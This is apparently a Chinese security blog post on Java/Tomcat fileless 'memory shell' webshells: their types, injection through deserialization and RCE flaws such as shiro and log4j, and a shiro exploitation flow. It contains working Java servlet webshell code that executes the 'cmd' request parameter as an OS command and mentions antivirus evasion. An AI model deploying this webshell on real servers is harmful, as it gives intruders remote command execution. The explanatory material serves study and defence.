内存马概念

内存马概念

木马演变

在这里插入图片描述

内存使用条件

1. 禁止外联
2. 文件监控、查杀
3. spring Boot,不支持jsp文件

内存缺点

内存只有只要重启就会消失

JAVA Web三大组件

1. servlet 用来处理业务请求
2. filter过滤器用来过滤请求和响应
3. Listener 监听容器

Listener:监听器

1.servletContext监听:服务器的启动/停止时触发
2.session监听:session的建立/销毁时触发
	统计在线人数,session自动创建+1,sesison销毁-1
3.request监听:访问服务时触发

servelet请求流程

在这里插入图片描述

内存马分类

  1. servlet-API类型:servlet、filter、 listener
  2. 框架类型:spring interceptor Controller (拦截器和控制层型)

内存演示

在这里插入图片描述

在这里插入图片描述

内存马植入方式

1.基于jsp webshell 植入内存马(上传文件)
2.基于javaweb   RCE漏洞植入内存马(真正的无文件)

案例

shiro反序列化漏洞、fastjson反序列化漏洞、log4j-JNDI、strusts反序列化、springcloud gatewy表达式漏洞

shiro反序列化漏洞植入内存马

利用工具
在这里插入图片描述

利用的流程

在这里插入图片描述

得到,放到rememberMe

在这里插入图片描述

在这里插入图片描述

### 关于Tomcat内存漏洞复现的方法 #### 背景介绍 Tomcat 是一款广泛使用的开源 Web 应用服务器,支持 Java Servlet 和 JSP 技术。由于其开放性和灵活性,在实际部署过程中可能存在多种安全隐患,其中一种较为隐蔽的安全威胁就是 **内存** 的利用方式[^3]。 内存是一种不依赖物理文件存储的恶意代码植入技术,通过动态加载的方式将恶意逻辑注入到 JVM 运行环境中,使得攻击者能够在无需留下任何磁盘痕迹的情况下实现远程命令执行或其他恶意行为[^4]。 --- #### 内存的工作原理 内存的核心机制在于绕过传统的基于文件检测的安全防护手段。具体来说,它可以通过以下几种方式进行植入: 1. **修改已有类的行为**: 动态代理或反射技术可以改变某些核心组件的功能。 2. **注册自定义Servlet**: 利用容器特性向 Tomcat 注册新的 Servlet 实例来监听特定路径请求并返回恶意响应。 3. **使用Filter拦截器**: 插入过滤链中的 Filter 对象可以在每次 HTTP 请求到达之前或者之后实施控制操作。 4. **JNDI注入**: 如果应用程序允许外部配置资源绑定,则可能被用来引入危险对象实例化过程。 这些方法均不需要创建额外的实际文件即可完成整个攻击流程。 --- #### 复现环境准备 为了成功模拟一次针对 Tomcat 的内存攻击实验,请按照如下步骤搭建测试平台: - 安装目标版本的 Apache Tomcat (需注意选择易受攻击的具体发行版号)[^2]; - 配置好 JDK 环境以及必要的开发工具; - 准备一台单独用于试验目的虚拟机或者其他隔离网络区域内的主机作为受害方节点; > 特别提醒:所有渗透测试活动都应在授权范围内开展,并严格遵循当地法律法规! --- #### 具体实践案例——Servlet型内存构建演示 下面给出一段简单的 Java 代码片段展示如何手动构造一个基础形态下的 Servlet 类型内存: ```java import javax.servlet.*; import javax.servlet.http.*; import java.io.*; public class MemoryShell extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException{ String cmd = req.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); StringBuilder sb=new StringBuilder(); String line=null; while( (line=br.readLine())!=null ) { sb.append(line).append("\n"); } PrintWriter out=res.getWriter(); out.println(sb.toString()); } } ``` 此脚本实现了基本功能:接收客户端 GET 参数 `cmd` 所指定的操作系统指令字符串参数并通过标准库函数调用本地 shell 来获取结果反馈给访问者。 随后可通过某种途径(如 RCE 漏洞)将此类字节码序列传送到服务端内存空间内激活生效。 --- #### 注意事项 尽管上述例子便于理解概念本身,但在真实世界场景下还需要考虑更多因素才能达到理想效果,比如规避杀软查杀、隐藏特征签名等等高级技巧。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值